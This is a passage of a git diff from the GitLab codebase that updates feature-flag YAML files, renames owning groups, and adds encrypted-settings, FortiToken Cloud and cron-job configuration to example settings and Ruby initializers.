+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46738
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/293742
+milestone: '13.7'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/saas_add_seats_button.yml b/config/feature_flags/development/saas_add_seats_button.yml
new file mode 100644
index 00000000000..1817481439a
--- /dev/null
+++ b/config/feature_flags/development/saas_add_seats_button.yml
@@ -0,0 +1,8 @@
+---
+name: saas_add_seats_button
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49242
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/291060
+milestone: '13.7'
+type: development
+group: group::purchase
+default_enabled: false
diff --git a/config/feature_flags/development/saml_group_links.yml b/config/feature_flags/development/saml_group_links.yml
index cb02b426b29..3b427bd83fa 100644
--- a/config/feature_flags/development/saml_group_links.yml
+++ b/config/feature_flags/development/saml_group_links.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/267020
milestone: '13.6'
type: development
group: group::access
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/save_raw_usage_data.yml b/config/feature_flags/development/save_raw_usage_data.yml
deleted file mode 100644
index 44820fe2f53..00000000000
--- a/config/feature_flags/development/save_raw_usage_data.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: save_raw_usage_data
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38457
-rollout_issue_url:
-milestone: '13.3'
-type: development
-group: group::product analytics
-default_enabled: false
diff --git a/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml b/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml
new file mode 100644
index 00000000000..0ab96f16547
--- /dev/null
+++ b/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml
@@ -0,0 +1,8 @@
+---
+name: security_dast_site_profiles_additional_fields
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46848
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292897
+milestone: '13.7'
+type: development
+group: group::dynamic analysis
+default_enabled: false
diff --git a/config/feature_flags/development/security_on_demand_scans_http_header_validation.yml b/config/feature_flags/development/security_on_demand_scans_http_header_validation.yml
deleted file mode 100644
index 475cbfa4d9a..00000000000
--- a/config/feature_flags/development/security_on_demand_scans_http_header_validation.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: security_on_demand_scans_http_header_validation
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42812
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/276403
-milestone: '13.6'
-type: development
-group: group::dynamic analysis
-default_enabled: false
diff --git a/config/feature_flags/development/service_desk_custom_address.yml b/config/feature_flags/development/service_desk_custom_address.yml
index 8b248da00cd..e7db2f10e2f 100644
--- a/config/feature_flags/development/service_desk_custom_address.yml
+++ b/config/feature_flags/development/service_desk_custom_address.yml
@@ -1,8 +1,8 @@
---
name: service_desk_custom_address
-introduced_by_url:
-rollout_issue_url:
-milestone:
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284656
+milestone:
type: development
group: group::certify
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/settings_operations_prometheus_service.yml b/config/feature_flags/development/settings_operations_prometheus_service.yml
index 3b2fea80a2d..27ccaf782c2 100644
--- a/config/feature_flags/development/settings_operations_prometheus_service.yml
+++ b/config/feature_flags/development/settings_operations_prometheus_service.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24296
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/258560
milestone: '12.8'
type: development
-group: group::health
+group: group::monitor
default_enabled: false
diff --git a/config/feature_flags/development/smart_cobertura_parser.yml b/config/feature_flags/development/smart_cobertura_parser.yml
new file mode 100644
index 00000000000..a3aa182e412
--- /dev/null
+++ b/config/feature_flags/development/smart_cobertura_parser.yml
@@ -0,0 +1,8 @@
+---
+name: smart_cobertura_parser
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48048
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284822
+milestone: '13.7'
+type: development
+group: group::testing
+default_enabled: false
diff --git a/config/feature_flags/development/sort_diffs.yml b/config/feature_flags/development/sort_diffs.yml
new file mode 100644
index 00000000000..505b5f0e0b5
--- /dev/null
+++ b/config/feature_flags/development/sort_diffs.yml
@@ -0,0 +1,8 @@
+---
+name: sort_diffs
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49118
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/squash_options.yml b/config/feature_flags/development/squash_options.yml
index 70114cfa252..bea03c6e9b2 100644
--- a/config/feature_flags/development/squash_options.yml
+++ b/config/feature_flags/development/squash_options.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33930
rollout_issue_url:
milestone: '13.2'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/suggest_pipeline.yml b/config/feature_flags/development/suggest_pipeline.yml
deleted file mode 100644
index 69c14e24303..00000000000
--- a/config/feature_flags/development/suggest_pipeline.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: suggest_pipeline
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45926
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/267492
-milestone: '13.6'
-type: development
-group: group::expansion
-default_enabled: true
diff --git a/config/feature_flags/development/unified_diff_components.yml b/config/feature_flags/development/unified_diff_components.yml
index 63470c2a28d..68a1cd8996f 100644
--- a/config/feature_flags/development/unified_diff_components.yml
+++ b/config/feature_flags/development/unified_diff_components.yml
@@ -3,5 +3,5 @@ name: unified_diff_components
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44974
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/268039
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/unified_diff_lines.yml b/config/feature_flags/development/unified_diff_lines.yml
deleted file mode 100644
index e295893acc4..00000000000
--- a/config/feature_flags/development/unified_diff_lines.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: unified_diff_lines
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40131
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241188
-milestone: '13.4'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_a_compliance_audit_events_api.yml b/config/feature_flags/development/usage_data_a_compliance_audit_events_api.yml
index 1daf82b4b8a..9d668c73052 100644
--- a/config/feature_flags/development/usage_data_a_compliance_audit_events_api.yml
+++ b/config/feature_flags/development/usage_data_a_compliance_audit_events_api.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/233786
milestone: '13.4'
type: development
group: group::compliance
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_design_action.yml b/config/feature_flags/development/usage_data_design_action.yml
new file mode 100644
index 00000000000..e013237ecca
--- /dev/null
+++ b/config/feature_flags/development/usage_data_design_action.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_design_action
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46626
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/287630
+milestone: '13.7'
+type: development
+group: group::knowledge
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_g_compliance_dashboard.yml b/config/feature_flags/development/usage_data_g_compliance_dashboard.yml
index fcef95c2b01..2ca2893b1a9 100644
--- a/config/feature_flags/development/usage_data_g_compliance_dashboard.yml
+++ b/config/feature_flags/development/usage_data_g_compliance_dashboard.yml
@@ -1,8 +1,8 @@
---
name: usage_data_g_compliance_dashboard
-introduced_by_url:
-rollout_issue_url:
-milestone:
+introduced_by_url:
+rollout_issue_url:
+milestone:
type: development
group: group::compliance
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_i_snippets_show.yml b/config/feature_flags/development/usage_data_i_snippets_show.yml
new file mode 100644
index 00000000000..446338d5b95
--- /dev/null
+++ b/config/feature_flags/development/usage_data_i_snippets_show.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_i_snippets_show
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48113
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::editor
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_i_source_code_code_intelligence.yml b/config/feature_flags/development/usage_data_i_source_code_code_intelligence.yml
index 5e4eb0d61af..488053dcf2d 100644
--- a/config/feature_flags/development/usage_data_i_source_code_code_intelligence.yml
+++ b/config/feature_flags/development/usage_data_i_source_code_code_intelligence.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41881
rollout_issue_url:
milestone: '13.4'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_alert_assigned.yml b/config/feature_flags/development/usage_data_incident_management_alert_assigned.yml
index c3e59a0c323..bc9aaef47ef 100644
--- a/config/feature_flags/development/usage_data_incident_management_alert_assigned.yml
+++ b/config/feature_flags/development/usage_data_incident_management_alert_assigned.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_alert_create_incident.yml b/config/feature_flags/development/usage_data_incident_management_alert_create_incident.yml
new file mode 100644
index 00000000000..63432e2f476
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_alert_create_incident.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_incident_management_alert_create_incident
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48087
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::monitor
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml b/config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml
index c858de35d56..2868f920d5b 100644
--- a/config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml
+++ b/config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_alert_todo.yml b/config/feature_flags/development/usage_data_incident_management_alert_todo.yml
index 198289db02d..f5133676231 100644
--- a/config/feature_flags/development/usage_data_incident_management_alert_todo.yml
+++ b/config/feature_flags/development/usage_data_incident_management_alert_todo.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_alerts_total_unique_counts.yml b/config/feature_flags/development/usage_data_incident_management_alerts_total_unique_counts.yml
new file mode 100644
index 00000000000..38e94e74399
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_alerts_total_unique_counts.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_incident_management_alerts_total_unique_counts
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48087
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::monitor
+default_enabled: false
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_assigned.yml b/config/feature_flags/development/usage_data_incident_management_incident_assigned.yml
index 1b5b2d1f8a0..14fc5f92744 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_assigned.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_assigned.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml b/config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml
index 9eff79d3d4a..8babb4557a6 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_closed.yml b/config/feature_flags/development/usage_data_incident_management_incident_closed.yml
index 1e857525d06..474466dd057 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_closed.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_closed.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_comment.yml b/config/feature_flags/development/usage_data_incident_management_incident_comment.yml
index c562501fdad..6c6f9a58071 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_comment.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_comment.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_created.yml b/config/feature_flags/development/usage_data_incident_management_incident_created.yml
index d6c4a082714..4a9b742c0ef 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_created.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_created.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_relate.yml b/config/feature_flags/development/usage_data_incident_management_incident_relate.yml
index d9a9f9f5e5e..08bdd429fc3 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_relate.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_relate.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_reopened.yml b/config/feature_flags/development/usage_data_incident_management_incident_reopened.yml
index 1cc30a4683e..4785c8224e4 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_reopened.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_reopened.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_todo.yml b/config/feature_flags/development/usage_data_incident_management_incident_todo.yml
index 414f47e1137..8dc2e623caf 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_todo.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_todo.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml b/config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml
index a09b8bf2f3f..90226a7c3e2 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml b/config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml
index 7d3a9bbff39..c00f79d1e05 100644
--- a/config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml
+++ b/config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40475
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229918
milestone: '13.4'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incidents_total_unique_counts.yml b/config/feature_flags/development/usage_data_incident_management_incidents_total_unique_counts.yml
new file mode 100644
index 00000000000..1bb602730e7
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incidents_total_unique_counts.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_incident_management_incidents_total_unique_counts
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48087
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::monitor
+default_enabled: false
diff --git a/config/feature_flags/development/usage_data_static_site_editor_commits.yml b/config/feature_flags/development/usage_data_static_site_editor_commits.yml
new file mode 100644
index 00000000000..a1d790b3505
--- /dev/null
+++ b/config/feature_flags/development/usage_data_static_site_editor_commits.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_static_site_editor_commits
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47309
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284082
+milestone: '13.6'
+type: development
+group: group::static_site_editor
+default_enabled: false
diff --git a/config/feature_flags/development/usage_data_static_site_editor_merge_requests.yml b/config/feature_flags/development/usage_data_static_site_editor_merge_requests.yml
new file mode 100644
index 00000000000..b68e4d12915
--- /dev/null
+++ b/config/feature_flags/development/usage_data_static_site_editor_merge_requests.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_static_site_editor_merge_requests
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47309
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284083
+milestone: '13.6'
+type: development
+group: group::static_site_editor
+default_enabled: false
diff --git a/config/feature_flags/development/user_other_role_details.yml b/config/feature_flags/development/user_other_role_details.yml
new file mode 100644
index 00000000000..47666a1d5c5
--- /dev/null
+++ b/config/feature_flags/development/user_other_role_details.yml
@@ -0,0 +1,8 @@
+---
+name: user_other_role_details
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45635
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/255170
+milestone: '13.7'
+type: development
+group: group::conversion
+default_enabled: false
diff --git a/config/feature_flags/development/view_diffs_file_by_file.yml b/config/feature_flags/development/view_diffs_file_by_file.yml
deleted file mode 100644
index 1af945bf30b..00000000000
--- a/config/feature_flags/development/view_diffs_file_by_file.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: view_diffs_file_by_file
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35223
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229848
-milestone: '13.2'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/vue_2fa_recovery_codes.yml b/config/feature_flags/development/vue_2fa_recovery_codes.yml
new file mode 100644
index 00000000000..7995b00f9ab
--- /dev/null
+++ b/config/feature_flags/development/vue_2fa_recovery_codes.yml
@@ -0,0 +1,8 @@
+---
+name: vue_2fa_recovery_codes
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49078
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/290113
+milestone: '13.7'
+type: development
+group: group::access
+default_enabled: true
diff --git a/config/feature_flags/development/vue_admin_users.yml b/config/feature_flags/development/vue_admin_users.yml
new file mode 100644
index 00000000000..7464a25c0da
--- /dev/null
+++ b/config/feature_flags/development/vue_admin_users.yml
@@ -0,0 +1,8 @@
+---
+name: vue_admin_users
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48922
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/290737
+milestone: '13.7'
+type: development
+group: group::compliance
+default_enabled: false
diff --git a/config/feature_flags/development/vue_issue_header.yml b/config/feature_flags/development/vue_issue_header.yml
deleted file mode 100644
index 6e9de057b82..00000000000
--- a/config/feature_flags/development/vue_issue_header.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: vue_issue_header
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44440
-rollout_issue_url:
-milestone: '13.6'
-type: development
-group: group::project management
-default_enabled: true
diff --git a/config/feature_flags/development/vueify_shared_runners_toggle.yml b/config/feature_flags/development/vueify_shared_runners_toggle.yml
new file mode 100644
index 00000000000..b1555c5e938
--- /dev/null
+++ b/config/feature_flags/development/vueify_shared_runners_toggle.yml
@@ -0,0 +1,8 @@
+---
+name: vueify_shared_runners_toggle
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48452
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292441
+milestone: '13.7'
+type: development
+group: group::continuous integration
+default_enabled: false
diff --git a/config/feature_flags/development/widget_visibility_polling.yml b/config/feature_flags/development/widget_visibility_polling.yml
index 4cab4a73f8b..3021388b17f 100644
--- a/config/feature_flags/development/widget_visibility_polling.yml
+++ b/config/feature_flags/development/widget_visibility_polling.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29318
rollout_issue_url:
milestone: '12.10'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/zip_pages_deployments.yml b/config/feature_flags/development/zip_pages_deployments.yml
deleted file mode 100644
index 34aa5c03fdc..00000000000
--- a/config/feature_flags/development/zip_pages_deployments.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: zip_pages_deployments
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42834
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/245308
-milestone: '13.5'
-type: development
-group: group::release management
-default_enabled: true
diff --git a/config/feature_flags/experiment/null_hypothesis.yml b/config/feature_flags/experiment/null_hypothesis.yml
new file mode 100644
index 00000000000..716b0711ef1
--- /dev/null
+++ b/config/feature_flags/experiment/null_hypothesis.yml
@@ -0,0 +1,7 @@
+---
+name: null_hypothesis
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45840
+rollout_issue_url:
+type: experiment
+group: group::adoption
+default_enabled: false
diff --git a/config/feature_flags/ops/product_analytics_tracking.yml b/config/feature_flags/ops/product_analytics_tracking.yml
new file mode 100644
index 00000000000..82635ad0640
--- /dev/null
+++ b/config/feature_flags/ops/product_analytics_tracking.yml
@@ -0,0 +1,8 @@
+---
+name: product_analytics_tracking
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46482
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285519
+milestone: '13.7'
+type: ops
+group: group::product analytics
+default_enabled: false
diff --git a/config/gitlab.yml.example b/config/gitlab.yml.example
index ae9475aa60d..57788e55f8f 100644
--- a/config/gitlab.yml.example
+++ b/config/gitlab.yml.example
@@ -475,6 +475,10 @@ production: &base
# GitLab EE only jobs. These jobs are automatically enabled for an EE
# installation, and ignored for a CE installation.
ee_cron_jobs:
+ # Schedule snapshots for all devops adoption segments
+ analytics_devops_adoption_create_all_snapshots_worker:
+ cron: 0 0 1 * *
+
# Snapshot active users statistics
historical_data_worker:
cron: "0 12 * * *"
@@ -616,6 +620,9 @@ production: &base
enabled: false
prevent_ldap_sign_in: false
+ # File location to read encrypted secrets from
+ # secret_file: /mnt/gitlab/ldap.yaml.enc # Default: shared/encrypted_settings/ldap.yaml.enc
+
# This setting controls the number of seconds between LDAP permission checks
# for each user. After this time has expired for a given user, their next
# interaction with GitLab (a click in the web UI, a git pull, etc.) will be
@@ -1038,10 +1045,23 @@ production: &base
# Access token for FortiAuthenticator API
# access_token: 123s3cr3t456
+ # FortiToken Cloud settings
+ forti_token_cloud:
+ # Allow using FortiToken Cloud as OTP provider
+ enabled: false
+
+ # Client ID and Secret to access FortiToken Cloud API
+ # client_id: 'YOUR_FORTI_TOKEN_CLOUD_CLIENT_ID'
+ # client_secret: 'YOUR_FORTI_TOKEN_CLOUD_CLIENT_SECRET'
+
# Shared file storage settings
shared:
# path: /mnt/gitlab # Default: shared
+ # Encrypted Settings configuration
+ encrypted_settings:
+ # path: /mnt/gitlab/encrypted_settings # Default: shared/encrypted_settings
+
# Gitaly settings
gitaly:
# Path to the directory containing Gitaly client executables.
@@ -1216,9 +1236,9 @@ production: &base
## Google tag manager
# google_tag_manager_id: '_your_tracking_id'
- ## Piwik analytics.
- # piwik_url: '_your_piwik_url'
- # piwik_site_id: '_your_piwik_site_id'
+ ## Matomo analytics.
+ # matomo_url: '_your_matomo_url'
+ # matomo_site_id: '_your_matomo_site_id'
rack_attack:
git_basic_auth:
@@ -1366,7 +1386,7 @@ test:
storages:
default:
path: tmp/tests/repositories/
- gitaly_address: unix:tmp/tests/gitaly/gitaly.socket
+ gitaly_address: unix:tmp/tests/gitaly/praefect.socket
gitaly:
client_path: tmp/tests/gitaly
diff --git a/config/initializers/01_secret_token.rb b/config/initializers/01_secret_token.rb
index 5949f463457..d7e725477eb 100644
--- a/config/initializers/01_secret_token.rb
+++ b/config/initializers/01_secret_token.rb
@@ -34,6 +34,9 @@ def create_tokens
openid_connect_signing_key: generate_new_rsa_private_key
}
+ # encrypted_settings_key_base is optional for now
+ defaults[:encrypted_settings_key_base] = generate_new_secure_token if ENV['GITLAB_GENERATE_ENCRYPTED_SETTINGS_KEY_BASE']
+
missing_secrets = set_missing_keys(defaults)
write_secrets_yml(missing_secrets) unless missing_secrets.empty?
diff --git a/config/initializers/1_settings.rb b/config/initializers/1_settings.rb
index 022f372a608..97c0e051f1f 100644
--- a/config/initializers/1_settings.rb
+++ b/config/initializers/1_settings.rb
@@ -3,9 +3,17 @@ require_relative '../object_store_settings'
require_relative '../smime_signature_settings'
# Default settings
+Settings['shared'] ||= Settingslogic.new({})
+Settings.shared['path'] = Settings.absolute(Settings.shared['path'] || "shared")
+
+Settings['encrypted_settings'] ||= Settingslogic.new({})
+Settings.encrypted_settings['path'] ||= File.join(Settings.shared['path'], "encrypted_settings")
+Settings.encrypted_settings['path'] = Settings.absolute(Settings.encrypted_settings['path'])
+
Settings['ldap'] ||= Settingslogic.new({})
Settings.ldap['enabled'] = false if Settings.ldap['enabled'].nil?
Settings.ldap['prevent_ldap_sign_in'] = false if Settings.ldap['prevent_ldap_sign_in'].blank?
+Settings.ldap['secret_file'] = Settings.absolute(Settings.ldap['secret_file'] || File.join(Settings.encrypted_settings['path'], "ldap.yaml.enc"))
Gitlab.ee do
Settings.ldap['sync_time'] = 3600 if Settings.ldap['sync_time'].nil?
@@ -140,9 +148,6 @@ if Gitlab.ee? && Rails.env.test? && !saml_provider_enabled
Settings.omniauth.providers << Settingslogic.new({ 'name' => 'group_saml' })
end
-Settings['shared'] ||= Settingslogic.new({})
-Settings.shared['path'] = Settings.absolute(Settings.shared['path'] || "shared")
-
Settings['issues_tracker'] ||= {}
#
@@ -532,8 +537,14 @@ Settings.cron_jobs['member_invitation_reminder_emails_worker']['job_class'] = 'M
Settings.cron_jobs['schedule_merge_request_cleanup_refs_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['schedule_merge_request_cleanup_refs_worker']['cron'] ||= '* * * * *'
Settings.cron_jobs['schedule_merge_request_cleanup_refs_worker']['job_class'] = 'ScheduleMergeRequestCleanupRefsWorker'
+Settings.cron_jobs['manage_evidence_worker'] ||= Settingslogic.new({})
+Settings.cron_jobs['manage_evidence_worker']['cron'] ||= '0 * * * *'
+Settings.cron_jobs['manage_evidence_worker']['job_class'] = 'Releases::ManageEvidenceWorker'
Gitlab.ee do
+ Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker'] ||= Settingslogic.new({})
+ Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['cron'] ||= '0 0 1 * *'
+ Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['job_class'] = 'Analytics::DevopsAdoption::CreateAllSnapshotsWorker'
